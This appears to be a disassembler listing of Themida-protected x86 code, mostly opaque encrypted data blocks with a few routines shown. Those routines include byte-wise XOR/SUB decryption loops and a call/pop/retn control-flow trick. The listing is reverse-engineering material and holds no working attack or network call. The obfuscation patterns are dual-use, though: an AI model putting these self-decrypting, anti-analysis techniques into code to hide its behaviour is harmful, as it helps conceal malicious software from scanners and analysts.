loc_598412:				; CODE XREF: Themida_:0059800Dj
					; Themida_:00598429j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_598412
		jmp	short $+2


loc_59842D:				; CODE XREF: Themida_:005983F5j
					; Themida_:00598410j
		mov	eax, eax
		push	0
		push	edx
		call	sub_59843A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59843A	proc near		; CODE XREF: Themida_:00598432p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_59843A	endp

; ---------------------------------------------------------------------------
		dw 1C51h
		dd 0B639CE7Eh, 29FB8B66h, 100C0985h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 4677C2A0h
		dd 0F88B74Ch, 0BD83F9B7h, 61022C1h, 0B850F03h, 2B000004h
		dd 102AC5BDh, 6DBD8306h, 613C2h, 3F8840Fh, 820F0000h, 0Dh
		dd 5E8h, 8E095B00h, 5B523A3Ah, 6DB5FF5Fh, 6A0613C2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0DD75C356h, 0EBBB661Ah, 0A595FF51h, 6A06102Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 2168C351h, 4ACF8166h, 61B58BA2h, 330613C2h, 1012B1BDh
		dd 106C706h, 6A000100h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0FD04C355h,	81634140h
		dd 0C3B76BDBh, 14E89639h, 84000000h, 6CAF55B4h,	0A688B062h
		dd 0AA97B262h, 97F561AEh, 6660A4C7h, 505FFB8Bh,	2830F60h
		dd 60000000h, 0BBBF6661h, 8B9661BFh, 10139DBDh,	6DB5FF06h
		dd 8B0613C2h, 1015C1BDh, 0BD8B5106h, 6101489h, 2595FF5Bh
		dd 6A061012h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 8FF5C353h, 31958952h, 5F061031h
		dd 0C987BF66h, 0C261B58Bh, 6A0613h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0D40C8EC3h
		dd 8954D4A0h, 10059DBDh, 0D1858B06h, 6A061021h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0D49C350h, 23619D03h, 86890610h, 0C4h, 9F5958Bh, 860F0610h
		dd 6, 4919D03h,	0C2830610h, 89D88B04h, 6A2050h,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 85D5D3C3h, 1FE19D01h, 858D0610h, 613D7C2h, 8689DE8Bh
		dd 0B8h, 6199529h, 6A0610h, 1301BD8Bh, 0B5FF0610h, 613C26Dh
		dd 0FFDA8B66h, 10049595h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0D2035939h
		dd 0D5F975E2h, 8D29FA23h, 61032C5h, 6E8h, 0E59BD500h, 89267693h
		dd 100F1DBDh, 60965B06h, 0AE8h,	54503B00h, 0D8BE598Ah
		dd 0FE6E775h, 80h, 880F5B00h, 0Bh, 5E8h, 2581C300h, 61584F07h
		dd 9E850h, 56290000h, 0F5A63570h, 5B338FB6h, 51006A96h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 8E85Ah, 67B10000h, 0ADFF8335h, 8960829Ah, 100E5585h
		dd 69BD0106h, 61061004h, 0FF40B75Fh, 13C26DB5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 560B58EDh, 162D95FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 20BCFEC3h, 0CD705EDAh
		dd 1351BD83h, 0F000610h, 7C84h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 1F6A8644h
		dd 6890F10h, 3000000h, 1004F5BDh, 99B52906h, 96061031h
		dd 68E0F60h, 50000000h,	5A310F52h, 68D0F58h, 0F000000h
		dd 82h,	0B7506100h, 6A96A2h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 81A6B9C3h, 42C0C632h
		dd 8B0C3189h, 1029D9BDh, 6DB5FF06h, 6A0613C2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 8991C356h, 77A38A66h, 95FFBB21h, 6100C19h, 8E956h, 5100000h
		dd 0E8BE6954h, 0FF5B8E9Bh, 13C26DB5h, 33565106h, 1009B19Dh
		dd 0FF5F5F06h, 10162195h, 0A1B52906h, 8306102Fh, 100F89BDh
		dd 840F0206h, 22h, 8BFFBF0Fh, 1010C585h, 0E8D0F06h, 0E9000000h
		dd 9, 2AF3FE7Dh, 0C0B9A123h, 0C6FFh, 85C790B3h,	6102A25h
		dd 0
		dd 21E9B589h, 90E90610h, 6AFFFFF3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 712C350h
		dd 8BAF2222h, 1015899Dh, 6AC18B06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E898C352h
		dd 90EF3AA5h, 0E384ACC0h, 28590BBFh, 0B9858D77h, 57061013h
		dd 1ED18D89h, 905B0610h, 0E1A9BF66h, 0DF8B6650h, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 5665C78Eh, 6AC42E64h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0B29D4C14h, 9D297B38h
		dd 61001C1h, 0A099D8Bh,	6A0610h, 1A699509h, 858D0610h
		dd 614D69Ah, 8D01FB8Bh,	6102285h, 0F05C083h, 38Ah, 97C38000h
		dd 89DE8B50h, 85092404h, 61004CDh, 880F006Ah, 6, 1385BD8Bh
		dd 6A0610h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ah,	56C35242h, 0A28EE117h, 95FFB072h, 6101D19h, 0E8E38166h
		dd 0D88D8D41h, 6A0613AFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0AD8AC355h,	0D9B563B7h
		dd 0E81CBB81h, 0D1FF2CF8h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 42C35141h, 83F7D776h,	102209BDh, 850F0106h
		dd 0E9h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 19h,	6CC35040h, 8BC2ACD6h, 11830FA1h, 0F000000h, 0B84h
		dd 6E900h, 6CF20000h, 0ED8028B7h, 2329BD89h, 26A0610h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2DC35040h
		dd 6E854B6Eh, 80BA3DB3h, 9D8B1ACFh, 6102E8Dh, 0DA8B6690h
		dd 0DE850h, 36860000h, 117C2D4Bh, 0C7E00554h, 8B0F6997h
		dd 6A905BF9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 150C357h, 18820F6Ah, 0E9000000h
		dd 13h,	7AAE3508h, 681188B1h, 1411BC05h, 3EB3E122h, 0F808BA3h
		dd 95FFFBB7h, 6100495h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 64C35343h, 0E9DE9F9h
		db 2 dup(0)
word_598B0A	dw 0E8h			; DATA XREF: Themida_:0054B938o
		dd 5D000000h, 0D6A4ED81h, 0BB660614h, 0BD89DD6Bh, 6102A89h
		dd 1199BD8Bh, 858D0610h, 61399B6h, 0EF8166F8h, 50903FB1h
		dd 63BBBB52h, 310F0011h, 0BE85250h, 37000000h, 0B63C75h
		dd 29D9CD18h, 0F5B52D1h, 0F525031h, 5A585A31h, 50585A58h
		dd 0FEB70F90h, 35FF64h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F96C351h
		dd 686h, 35BD8900h, 6406101Bh, 2589h, 0BD8B0000h, 61018C1h
		dd 6830Fh, 9D2B0000h, 61018F1h,	141985FFh, 6A0610h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 21F040C3h, 6AFB8B66h, 0FAC4BBFFh, 0B5FF7CCAh, 6102ED5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B9C35141h
		dd 14B63847h, 0E3717E69h, 2A6D8D89h, 95FF0610h,	6100615h
		dd 14EE9h, 0B0DE8B00h, 27BB6600h, 0F70E65Fh, 0E85h, 8D8B6000h
		dd 6100BDDh, 2A11BD89h,	0E4610610h, 0FE971h, 0E5A40000h
		dd 7B05F1C6h, 67360A38h, 6CF761A0h, 0F613C8Ah, 11283h
		dd 10E900h, 0D100000h, 3CDD0F97h, 904D70DEh, 7D4D371Eh
		dd 0B60FC15Dh, 0F99589C8h, 0BA061012h, 6, 6E9h,	35E21200h
		dd 8B195690h, 0AA8EBBC1h, 0E8C15BABh, 0F7816604h, 0DE9E059h
		dd 12000000h, 29E37D03h, 7A45DE4Bh, 688F6566h, 0FE2F766h
		dd 680h, 658D8900h, 2B06100Ah, 0D18BFCC8h, 0AAE9h, 0C6EB8100h
		dd 0BB3279B2h, 6DC4050Fh, 1858Bh, 0E8600000h, 6, 2E923C71h
		dd 9D89902Ah, 61018F9h,	8361FC5Bh, 858907C0h, 610137Dh
		dd 100C083h, 100D6585h,	2D8D8906h, 3B061014h, 2F830FD0h
		dd 0F000000h, 68Bh, 0DEDB8100h,	0E8163167h, 0Ah, 88BF6076h
		dd 0CD90123Fh, 8B515A61h, 102DD59Dh, 0E95F5F06h, 3Bh, 1FC1B589h
		dd 8D8B0610h, 0FFFFFFFFh, 83FA8B66h, 840F01E1h,	23h, 0C1CB8166h
		dd 0FFA5833Eh, 0FEFFFFFFh, 6870Fh, 9D8B0000h, 6100975h
		dd 19589h, 0E90000h, 8D000000h,	144FD5B5h, 0E9BD8B06h
		dd 29061007h, 101449BDh, 89006A06h, 101915B5h, 0C995FF06h
		dd 6A061031h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 942CC353h, 0A098D09h, 9D8B0610h
		dd 61004CDh, 21CDBD8Bh,	2EB90610h, 6600000Fh, 0EB55CF81h
		dd 60FCE183h, 2ED18501h, 0D38A0610h, 6AFC61h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0DB904C3h
		dd 58949DA6h, 0C02BF9C8h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 0F2C35040h, 0C49AB79Eh, 18C5858h, 1005619Dh
		dd 0F5506006h, 65DB815Eh, 616BB4F8h, 0BAh, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 11784779h, 0E59529B8h, 0AD06100Dh, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 8F91C351h, 279D8D29h, 880D0610h
		dd 0E9000000h, 7, 0B0E4AEB7h, 8B15CC3Ah, 1009F595h, 89858906h
		dd 8B061015h, 1023198Dh, 0D9B70F06h, 28298D89h,	8B500610h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C6C35141h, 6AB112h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0E2BBD0C3h, 0F11B9F04h, 80F63540h, 0BD8391D7h, 6101E29h
		dd 0C8840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 3ECDC356h, 0C521D995h
		dd 56601DE5h, 41BD8B5Eh, 61061012h, 0B8h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 80124FBEh, 0FCC5CB7h, 0C8Bh,	6810F00h, 89000000h, 1023618Dh
		dd 858D8D06h, 6A06104Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0E179C357h,	660C2698h
		dd 0E95547BFh, 0Bh, 8DD4974Ch, 74D38B44h, 0FF9B51F2h, 56006AE1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 6C661343h, 857680CBh, 83F914EBh, 1022C1BDh, 840F0006h
		dd 4B3h, 1C91B589h, 0BD830610h,	61022C1h, 0BB840F01h, 0F000004h
		dd 781h, 87BB5300h, 5F5039EBh, 22C1BD83h, 0F030610h, 46B86h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 8478E4B6h, 0E897A5AFh, 13h, 7FD12C9Ch, 5FD93DAh
		dd 0FE51BFFFh, 0C0E6E17Fh, 0E95DA4A2h, 10h, 4082700Dh
		dd 70E691DCh, 0BCC08025h, 0AE10C602h, 6A605Fh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 4FC60BC3h, 0BD09F6AAh, 61006BDh, 0DA99D29h, 8C660610h
		dd 50006AD9h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 99D892AEh, 14E9h, 141B5400h, 0B4F1273Ch
		dd 0A2ACB600h, 1828FF18h, 87250165h, 4E1803Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0E1C35242h, 0A78D0948h
		dd 4586C9E9h, 0FC90A92h, 17884h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0AB336A42h
		dd 85898EADh, 6101A89h,	2185858Bh, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F1E435C3h
		dd 0A0EA385Bh, 0F7818E0Ah, 3548FA23h, 14E9h, 55759600h
		dd 0CF825986h, 0B9B5C3E4h, 0AEF67D7Ch, 311246B5h, 0FD8533E7h
		dd 6A061011h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0A028C356h, 895037D8h,	6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0CE0DD1C3h, 9D2B49CEh, 6100771h, 0BB66006Ah,	0B66879CDh
		dd 669E5219h, 481FE8Bh,	0CCEA4924h, 51006A61h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 1D86AB9h, 16534C22h
		dd 95FF0AB7h, 61005D5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 4AC35242h, 0F855F1Dh,	88Fh, 0DD806000h
		dd 0D3BF0F52h, 65B58961h, 89061005h, 13C26D85h,	0DAB70F06h
		dd 20CE9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0A7B781A5h, 6AFCF73h, 10E9h, 2FE75400h
		dd 9C552BB1h, 78059C8Dh, 0CC93BB7Fh, 65858B9Ch,	6A0613C2h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 0C18EC350h, 7D7D2D72h, 0FE8B668Dh, 1800C7h
		dd 0B5890000h, 6100639h, 0C269B58Bh, 6A0613h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F3864FC3h
		dd 9B2C3EB2h, 85891EF2h, 610171Dh, 0E25858Bh, 6A0610h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 720762C3h, 5CA36923h, 3108F538h, 102EA1B5h, 0F068906h
		dd 38Bh
		dd 0DFBF0F00h, 2185858Bh, 81660610h, 89532CE7h,	0BD8B0446h
		dd 6101F8Dh, 52505096h,	0AE9h, 19471000h, 3D3AE378h, 0FAD59BBh
		dd 6E931h, 53E90000h, 4069EE1Dh, 8B96585Ah, 101EA59Dh
		dd 65B5FF06h, 6A0613C2h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 9836C350h, 3F778165h
		dd 3C24A44Bh, 481BD8Bh,	0C7680610h, 0E9551AEBh,	0Dh, 3BACE58Ah
		dd 2B9FD419h, 0CA5251CBh, 2434810Eh, 5505E838h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h, 5858930h
		dd 8D061028h, 13C26D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0B0BA8614h, 87506430h
		dd 0E9D98B66h, 10h, 9DC5808h, 68BA8E89h, 26DEFAE4h, 2E9D50BAh
		dd 0AFB3BB50h, 489271Eh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0D565C01h, 0F30B638Dh
		dd 899D29A1h, 29061014h, 10112D95h, 0D595FF06h,	8B061005h
		dd 840F61FBh, 0
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+61022C1h], 3
		push	ebx
		mov	[ebp+6101095h],	edi
		pop	edi
		cmp	dword ptr [ebp+613C26Dh], 0
		jz	loc_599478
		mov	ebx, [ebp+6100C11h]
		jmp	loc_599493
; ---------------------------------------------------------------------------
		mov	[ebp+610063Dh],	ecx


loc_599478:				; CODE XREF: Themida_:00599461j
					; Themida_:0059948Fj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_599478
		jmp	short loc_5994C9
; ---------------------------------------------------------------------------


loc_599493:				; CODE XREF: Themida_:0059946Dj
					; Themida_:005994AAj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_599493
		jmp	short loc_5994C9
; ---------------------------------------------------------------------------


loc_5994AE:				; CODE XREF: Themida_:005994C5j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5994AE
		jmp	short $+2


loc_5994C9:				; CODE XREF: Themida_:00599491j
					; Themida_:005994ACj
		mov	eax, eax
		push	0
		push	ebx
		call	sub_5994D6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5994D6	proc near		; CODE XREF: Themida_:005994CEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5994D6	endp

; ---------------------------------------------------------------------------
		dw 3ED0h
		dd 44BC02A2h, 0E9A78BD8h, 6, 81FA897Dh,	0BD83613Eh, 61022C1h
		dd 6A850F03h, 6A000004h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 76CEC351h, 51CB8151h
		dd 5F45E8C9h, 616664BFh, 6DBD8355h, 613C2h, 433840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0CC00EAC3h, 15A99D8Bh, 0B5FF0610h, 613C26Dh,	32B31FBBh
		dd 0B315BF7Bh, 95FF720Fh, 6102FA5h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0A0C35646h,	0E98665F7h, 1F0F09BAh
		dd 0C985896Fh, 8906101Dh, 1001D9BDh, 61B58B06h,	0F90613C2h
		dd 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 3D063FC3h, 96F51DEFh, 0CA98BF66h
		dd 14E850h, 0C06B0000h,	8D6116B1h, 0D3B008Fh, 0C4F1D7A0h
		dd 0F47D629h, 8B662C0Dh, 0E9965FD8h, 8,	625F44D1h, 28D3BF71h
		dd 0C26DB5FFh, 95890613h, 6103199h, 122595FFh, 85290610h
		dd 6100DF1h, 0C261B58Bh, 57BB0613h, 8B698487h, 1021D185h
		dd 0C5BD2306h, 8906101Ah, 0C486h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0C463B828h
		dd 0F9F7E443h, 8D898D67h, 6100621h, 9F5958Bh, 81660610h
		dd 83BA1BF7h, 0FE904C2h, 7000000h, 67415C5Ah, 19750285h
		dd 0E5D98BEh, 5089F0D0h, 6AE78120h, 8D28ABA4h, 13D7C285h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0AA72EC15h, 1A852F3Bh, 459589BBh, 8906100Ch
		dd 0B886h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 816648F2h, 0FBF47EBh, 6AF8B7h, 6DB5FFF5h
		dd 890613C2h, 1022A18Dh, 9595FF06h, 6A061004h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 48ECC355h, 3E2379AAh, 0F5BADCBFh, 8BBB5042h,	895DD811h
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 513BA4C3h, 12E84BA2h, 40000000h, 0B5F87951h
		dd 0F40897E0h, 895C6220h, 8F1C905Bh, 5800FB9h, 0BF000000h
		dd 350ED703h, 6DB5FF5Fh, 6A0613C2h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DF1FC356h
		dd 79D5EFE5h, 55C78166h, 359D8B40h, 0FF061019h,	10162D95h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 9E97Fh, 0F4640000h, 58C43ECh, 8B4E88E8h
		dd 102FD5BDh, 51BD8306h, 61013h, 5D840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 46EA2EC3h, 0B589F960h, 6102825h, 7E85061h, 36000000h
		dd 0B4A1645Fh, 0FC8AC370h, 2434895Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0F5C35040h,	359D8B37h, 0FF061009h
		dd 13C26DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 21BD8BA5h, 0FF06100Ah, 100C1995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 73E03115h, 6890Fh, 0BD8B0000h, 6100E9Dh
		dd 0FF75DF80h, 13C26DB5h, 0CD850906h, 89061021h, 102D21BDh
		dd 2195FF06h, 6A061016h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0DEE8C355h,	7F712244h
		dd 535E4FBAh, 1800Fh, 8BFC0000h, 102A95BDh, 89BD8306h
		dd 206100Fh, 49840Fh, 7E90000h,	0E9000000h, 6E36434Eh
		dd 0BD0972DEh, 610241Dh, 10C5858Bh, 0BD330610h,	610131Dh
		dd 6A0000C6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 5D84C355h, 0C03512C2h,	6672F01Bh
		dd 0C78AEEBBh, 102A2585h, 6, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0CAF31EF4h
		dd 26E344A5h, 0F259E955h, 9E8FFFFh, 0FD000000h,	0C7382E90h
		dd 0EF1C1FFh, 8B5BB4B7h, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 8DF98BDBh, 1013B985h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0D2059E50h, 8B602644h, 100F31B5h, 0F2BF0F06h
		dd 8B665061h, 240489D8h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0BD31ABC3h, 6101C0Dh
		dd 858D006Ah, 614E71Ch,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 70C35747h, 8BF42096h,	100645BDh, 5C08306h
		dd 0E990D88Bh, 0Eh, 713B040Eh, 42CD23B6h, 7AC04ED4h, 6650B5D3h
		dd 5690FE8Bh, 5BF88B66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0BE7A2DC3h, 0DF8B66FBh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0D67A15C3h, 23499D8Bh, 95FF0610h,	6101D19h
		dd 0C840Fh, 810F0000h, 6, 870Fh, 8D8D0000h, 613AFD8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 81C35545h, 6658C7CBh
		dd 0FF5E48BFh, 56006AD1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 47A9E4ADh, 9589F028h
		dd 6102795h, 5ED78166h,	9BD8370h, 1061022h, 6D850Fh, 9D890000h
		dd 6102D45h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0A86DC4C3h, 0F4F229C8h, 0CB816622h
		dd 0F509A6Eh, 280h, 89D88B00h, 0B5892404h, 6100CA1h, 28719D89h
		dd 95FF0610h, 6100495h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 42C35343h, 0E9AF32A0h, 0F0Fh,	0E8h, 0ED815D00h
		dd 614E726h, 2DBD8B60h,	0F06100Ah, 68Ch, 8DBD8B00h, 61061020h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0BAC35545h
		dd 69A8D454h, 0B4115C8Ah, 0BD315651h, 6102F89h,	858D5B5Bh
		dd 61399B6h, 1479B589h,	0E9900610h, 0Bh, 0E7864B71h, 1C5BD5A1h
		dd 50FB6668h, 16E4BB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 92F42299h, 3FA6FF36h
		dd 0FF64D98Ah, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0D67A1580h, 7A7137D2h
		dd 2DBD8BEAh, 64061031h, 2589h,	0BB660000h, 85FFFCD2h
		dd 6101419h, 6E8h, 52C7F500h, 0E96D94D0h, 11h, 3934396Ch
		dd 3BDDDC2Ch, 0F8113808h, 5BA1351Dh, 0FF6A5B48h, 83CB8166h
		dd 0F88B663Ch, 1F51B5FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0A2D119C3h, 84B0AECBh
		dd 9DA6F381h, 9589566Bh, 6100EF9h, 61595FFh, 40E90610h
		dd 8B000001h, 100F7D9Dh, 6600B006h, 0E6FD91BBh,	0FE8B6670h
		dd 0FF871E4h, 613CDEBFh
		dd 121830Fh, 0FF80000h,	0BD8BC8B6h, 6100655h, 6BAh, 7E900h
		dd 35CE0000h, 2A15F094h, 89C18B55h, 10099185h, 4E8C106h
		dd 758D8960h, 89061023h, 101F059Dh, 0F7666106h,	1D890FE2h
		dd 0E8000000h, 11h, 0FBE77058h,	7BC5F700h, 91AB57F8h, 2B50985Bh
		dd 0E4EB81FAh, 5F037AF2h, 880FC82Bh, 0Ch, 6830Fh, 0BD8B0000h
		dd 61004E5h, 0BD8BD18Bh, 610310Dh, 95DA46BBh, 0A1E900h
		dd 0DE8B0000h, 141D9D09h, 858B0610h, 4,	0FE9h, 0D75A7800h
		dd 0F5FD432Bh, 80F5A03Bh, 0A498BF70h, 4ADB8166h, 7C083F9h
		dd 83D7F380h, 515100C0h, 5B5B5B50h, 0FDB50DBFh,	0FD03B66h
		dd 2983h, 0EE800h, 0BDEE0000h, 3B22F619h, 72341CE7h, 20688662h
		dd 5E9h, 6C770800h, 0E95FD20Ah,	3Bh, 0C35B531h,	8D8B0610h
		dd 0FFFFFFFFh, 5919D8Bh, 0E1830610h, 20840F01h,	8B000000h
		dd 10168D9Dh, 0FFA58306h, 0FEFFFFFFh, 9589D88Ah, 4, 30DD9589h
		dd 0E90610h, 8D000000h,	145F03B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0B71806B0h
		dd 0B529519Dh, 6101065h, 0E9006A5Bh, 8,	3B021BBAh, 83F5B507h
		dd 31C995FFh, 0B9F80610h, 104Bh, 3025BD8Bh, 0E1830610h
		dd 55006AFCh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0D3816642h, 53FCCFC9h, 0B85BF9h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0BD65C351h, 0BDA8689Eh, 89F7BB63h, 1031558Dh
